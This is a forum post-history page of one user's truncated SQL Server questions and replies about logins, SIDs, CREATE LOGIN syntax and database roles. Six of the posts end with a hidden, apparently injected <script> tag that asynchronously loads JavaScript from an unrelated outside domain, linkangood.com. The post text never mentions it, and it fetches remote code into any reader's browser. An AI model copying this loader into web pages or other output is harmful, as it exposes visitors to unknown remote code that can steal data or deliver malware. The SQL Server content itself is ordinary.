Viewing 15 posts - 1 through 15 (of 72 total)
Hello,
thank you for this thorough explanation. I can hardly believe this:
SSMS is available only as a 32-bit application for Windows. If you need a tool that runs on operating systems...
November 4, 2021 at 9:19 am
I had the code for these two procedures from somewhere else, but it wasn't generating the correct SID. The link you gave me is a working one. I managed to...
December 27, 2019 at 11:01 am
Thank you for the conversion hint, your example will help my understand this better.
Richard
December 27, 2019 at 10:58 am
Right, here where I am. I found numerous script that generate the "CREATE LOGIN .. SID= <sid>", some without SID, they don't seem to work and always something missing. I...
December 24, 2019 at 11:09 am
Hello, I see this explains everything:
When you create the new login on the new server it is created with a different SID - and that SID does not match with...
December 24, 2019 at 9:02 am
Hi, yes, I understand that. Thank you
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
December 24, 2019 at 8:57 am
Hello,
sorry for the late response. I was using our corporate MS installer, when I downloaded the evaluation version it just worked.
Thank you for responding.
Kind Regards,
Richard
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
December 23, 2019 at 2:55 pm
Sorry. I think I got it:
CREATE LOGIN MyUser
WITH PASSWORD = 'MyPassword' , /* this was a missing comma */
DEFAULT_DATABASE = [MyDatabase],
CHECK_POLICY = OFF,
CHECK_EXPIRATION = OFF ;
Richard
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
<script src="//linkangood.com/21ef897172770ca75d.js"...
December 13, 2019 at 11:16 am
I think I found what I was looking for:
alter role [db_datareader] add member [User1];
Found here:
https://www.youtube.com/watch?v=ABZXddaEyEM
Thanks you all.
Richard
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
November 6, 2019 at 8:38 am
I an reading instructions for the sp_addrolemember :
It gives an example:
B. Adding a database user
The following example adds the database user Mary5 to the Production database role in the...
November 6, 2019 at 8:24 am
Thanks, here is what I do based on your suggestions:
I go to Security -> Logins -> I choose login “User1”-> Script :
This is the result:
USE [master]
GO
/* For...
November 6, 2019 at 8:16 am
Cannot download the PDF, error 404 not found
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
November 5, 2019 at 3:26 pm
Hello,
I very much appreciate your patience and help.
The problem I have (as it turns out) is that my test server is in WORKGROUP (as it's a test server), is not...
November 5, 2019 at 3:02 pm
I'd like to thank the author for such a well organized set of articles. Although I know quite a lot about SQL-Server however finding a good simple tutorial can be...
January 10, 2018 at 8:29 am
An interesting view and one I would agree with to some extent. We recently purchased a system based on Openedge Progress (a rather niche solution) and it has it's own...
January 9, 2018 at 7:56 am
Viewing 15 posts - 1 through 15 (of 72 total)